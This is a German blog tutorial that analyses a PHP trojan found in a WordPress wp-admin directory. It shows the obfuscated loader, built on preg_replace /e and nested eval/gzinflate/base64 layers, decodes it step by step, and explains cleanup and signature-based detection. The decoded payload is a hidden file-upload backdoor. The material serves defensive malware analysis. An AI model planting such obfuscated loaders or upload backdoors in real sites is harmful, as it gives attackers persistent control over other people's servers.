Nicht jeder PHP Trojaner kann auf den ersten Blick identifiziert werden, was der Sinn und Zweck ist, Aus diesem Grund zeige ich euch Heute wie man einen PHP Trojaner entschlüsselt und denn Zweck dessen erkennt
Wir lernen codierte PHP Dateien lesbar zu machen und den Zweck der Datei zu erkennen
Achtung: Dieser Code wurde entschärft und dient nur zu Weiterbildungszwecken.
Die Datei wp-admin/media-parse-new.php beinhaltete folgenden Inhalt:
$VDCL576 = "96eagbj_273)8*xtwusp4d;i1hczkflm0y5nr.v/o(q";$bGElTtD8311 = $VDCL576[19].$VDCL576[36].$VDCL576[2].$VDCL576[4].$VDCL576[7].$VDCL576[36].$VDCL576[2].$VDCL576[19].$VDCL576[30].$VDCL576[3].$VDCL576[26].$VDCL576[2];$rZJX3382 = "".chr(101)."\x76\x61\x6c(g".chr(122)."".chr(105)."".chr(110)."".chr(102)."lat".chr(101)."(\x62ase".chr(54)."".chr(52)."_\x64\x65\x63\x6fd".chr(101)."".chr(40)."";$kGZtU9757 = "\x29\x29".chr(41).";";$KbVHYGu4400 = $rZJX3382."'BcHJlmtAAADQz+nuYyFBJE6vhCLGpoyxeaeokhi...Z8MC+DAVH8nNr+OYvj18/PzS9Zq+v0P'".$kGZtU9757;$bGElTtD8311($VDCL576[39].$VDCL576[37].$VDCL576[13].$VDCL576[39].$VDCL576[2], $KbVHYGu4400 ,"785");
Als erstes sollte man sich dies selbst leserlich machen und Enter einfügen:
$VDCL576 = "96eagbj_273)8*xtwusp4d;i1hczkflm0y5nr.v/o(q"; $bGElTtD8311 = $VDCL576[19].$VDCL576[36].$VDCL576[2].$VDCL576[4].$VDCL576[7].$VDCL576[36].$VDCL576[2].$VDCL576[19].$VDCL576[30].$VDCL576[3].$VDCL576[26].$VDCL576[2]; $rZJX3382 = "".chr(101)."\x76\x61\x6c(g".chr(122)."".chr(105)."".chr(110)."".chr(102)."lat".chr(101)."(\x62ase".chr(54)."".chr(52)."_\x64\x65\x63\x6fd".chr(101)."".chr(40).""; $kGZtU9757 = "\x29\x29".chr(41).";"; $KbVHYGu4400 = $rZJX3382."'BcHJlmtAAADQz+nuYyFBJE6vhCLGpoyxeaeokhi...Z8MC+DAVH8nNr+OYvj18/PzS9Zq+v0P'".$kGZtU9757; $bGElTtD8311($VDCL576[39].$VDCL576[37].$VDCL576[13].$VDCL576[39].$VDCL576[2], $KbVHYGu4400 ,"785");
Nun erkennt man schon mehr Details, ins Auge stingt auf der letzten Zeile eine Variable wo dahinter ein () kommt. Diese Variable wird also nichts anderes sein als eine Funktion, vermutlich eine eval().
Wichtig ist nun, dass die letzte Zeile auskommentiert wird, wir dafür neue Befehle reinsetzen.
echo $bGElTtD8311; // $bGElTtD8311($VDCL576[39].$VDCL576[37].$VDCL576[13].$VDCL576[39].$VDCL576[2], $KbVHYGu4400 ,"785");
Sagt und dass ich mich geirrt habe und ein preg_replace() aufgerufen wird. Da in einer Preg_replace mit dem Schalter /e PHP ausgeführt werden kann und somit auf eval verzichtet werden kann, nehme ich an, der Schalter wird gesetzt sein, aber weiterschauen.
Die Erste Variable von preg_replace beinhaltet den Regex mit dem Schalter, dies können wir mit folgendem Code ausgeben:
echo $VDCL576[39].$VDCL576[37].$VDCL576[13].$VDCL576[39].$VDCL576[2];
Die Ausgabe entspricht:
/.*/e
Dies sagt in Regex, Ersetze alles mit Variable2 und führe dies als PHP aus.
Variable 2 bekommen wir mit:
echo $KbVHYGu4400;
und beinhaltet:
eval(gzinflate(base64_decode('BcHJlmtAAADQz+nuYyFBJE6vhCLG...8MC+DAVH8nNr+OYvj18/PzS9Zq+v0P')));
Dies ist wiederum unleserlich, was wir lesbar machen mit:
echo gzinflate(base64_decode('BcHJlmtAAADQz+nuYyFBJE6vhCLG...8MC+DAVH8nNr+OYvj18/PzS9Zq+v0P'));
Dies wiederum entschlüsselt gibt:
eval(gzuncompress(base64_decode('eNpdUctKAzEU/ZUQZtEWbTu1D9pxikorCIJC3XXKEGcyNjpJSpvRcSuK4EJREHHtTkTd+Ae6FERcCP6MN2l9ziaTk3PuPedeFmXYaERVxvJXVzprXdxJ1r20GjKFe9lsw/JvD25eb1yMnUJuIZYyFExskgZaQjELttCuTIaIkmEs1+kUIiJEiQjlGN4hKujncwXL/zh8eXx8Pndx3Utn6ubDjuVf7Z+93l2fPrw/uZa/uLTc7nQx42QD+ldwr4uFZ5dtbYbiHtBPjo/uDy/+UqnmeXa1zAdeWokEsG0OMtA77Cfaf8WYRycRL9/2Lvbu3EnW/G9jzhyX29RPVmM536ItP2LL7cyXlakvadahImSRQ+MRbdCgL/EseKjKIUecqr4MXa9YLun56tNLS0USeGmtzKRw4aaREqIiULsDagCexIoNyFAVIigyHRJFNNycZWKQKDTmQamIxVSfSBAzJwNCSuheMw8TBfwWv0WwYRhRxVamrSB83NPAabWujZma2yRO9Cq+X5kyJWGHAfiCqZd4E0+iO5/bBs6T')));exit;
Dies muss man wiederum entschlüsseln:
echo gzuncompress(base64_decode('eNpdUctKAzEU...iO5/bBs6T'));
Bis man auf endlich unverschlüsseltem Code landet:
if(isset($_POST["Sub\x6dit"])):$_®…¬Ò¬="";/*Bloodninja: I lick your earlobe, and undo your watch.*/$_Û‡ÐÄÄÍ•="9\x3999999";$_£„’Ò¯ª‘µØÅ=$_FILES["imag\x65"]["n\141\x6de"];$_ŽŠ°‡—=$_FILES["image"]["\164mp\x5fn\x61m\145"];if(isset($_FILES["image"]["n\x61me"])):$_™Ô‚—‚¯=$_®…¬Ò¬.$_£„’Ò¯ª‘µØÅ;@move_uPloADeD_fiLE($_ŽŠ°‡—,$_™Ô‚—‚¯);endif;else:echo"<\146orm method=\042POST\042\x20ac\x74ion=\x22\x22 enctype=\x22multipart/form-data\x22><input type=\042file\042 na\x6de=\042ima\147e\042><input\040type=\042Subm\151t\x22 name=\x22Subm\x69\x74\042 valu\x65=\x22Submit\042>\x3c/fo\162m>";endif;;
Ein wenig schöner formatiert ergibt dies:
if(isset($_POST["Sub\x6dit"])): $_®…¬Ò¬=""; $_Û‡ÐÄÄÍ•="9\x3999999"; $_£„’Ò¯ª‘µØÅ=$_FILES["imag\x65"]["n\141\x6de"]; $_ŽŠ°‡—=$_FILES["image"]["\164mp\x5fn\x61m\145"]; if(isset($_FILES["image"]["n\x61me"])):$_™Ô‚—‚¯=$_®…¬Ò¬.$_£„’Ò¯ª‘µØÅ; @move_uPloADeD_fiLE($_ŽŠ°‡—,$_™Ô‚—‚¯); endif; else: echo"<\146orm method=\042POST\042\x20ac\x74ion=\x22\x22 enctype=\x22multipart/form-data\x22> <input type=\042file\042 na\x6de=\042ima\147e\042> <input\040type=\042Subm\151t\x22 name=\x22Subm\x69\x74\042 valu\x65=\x22Submit\042>\x3c/fo\162m>"; endif;;
Nun entfernen wir die Sonderzeichen mit den normalen Zeichen:
if(isset($_POST["Submit"])): $leer=""; $ungenutzt="9\x3999999"; $name=$_FILES["image"]["name"]; $bild=$_FILES["image"]["\164mp\x5fnam\145"]; if(isset($_FILES["image"]["name"])):$wohin=$leer.$name; @move_uploaded_file($bild,$wohin); endif; else: echo"<form method=\"POST\" action=\"\" enctype=\"multipart/form-data\"> <input type=\"file\" name=\"image\"> <input type=\"Submit\" name=\"Submit\" value=\"Submit\"> </form>"; endif;;
Somit haben wir den Bestimmungszweck der Datei auch herausgefunden. Dies entspricht einem einfachem Datei Uploader, welcher verschlüsselt versteckt wurde um erneute Infektionen auslösen zu können.
Bereinigung
Die Bereinigung ist sehr einfach, da diese zusätzliche Dateien sind, welche nicht zu WordPress gehören und somit ersatzlos gelöscht werden können.
Bei WordPress kann man sehr schnell erkennen ob man solche zusätzlichen Dateien besitzt, welche nicht zu WordPress gehören, in dem die Anzahl der Dateien per FTP kontrolliert. Bei Abweichungen muss man nur die Datei suchen welche nicht zu WordPress gehört.
Standardmäsig hat WordPress 4.2.2 folgende Einträge:
wp-admin/ 87 Einträge (Ordner und Dateien)
wp-admin/includes/ 77 Dateien
Wer mehr Einträge verzeichnet, sollte diese Verzeichnisse mit einer sauberen WordPress Installation vergleichen.
Zusätzliche Dateien backupen (im Notfall) und danach löschen.
Ich empfehle jedoch immer ein Teil des Virus als Virensignatur zu nutzen, in diesem Fall z.B. „i1hczkflm0y5nr“.
Ich habe ein PHP Virensuchtool geschrieben, wo man auf das eigne Hosting installieren kann und eine solche Virensignatur eingeben kann. Anschliessend sucht das Tool alle Dateien wo diese Signatur beinhalten. Anschliessend die Dateien löschen.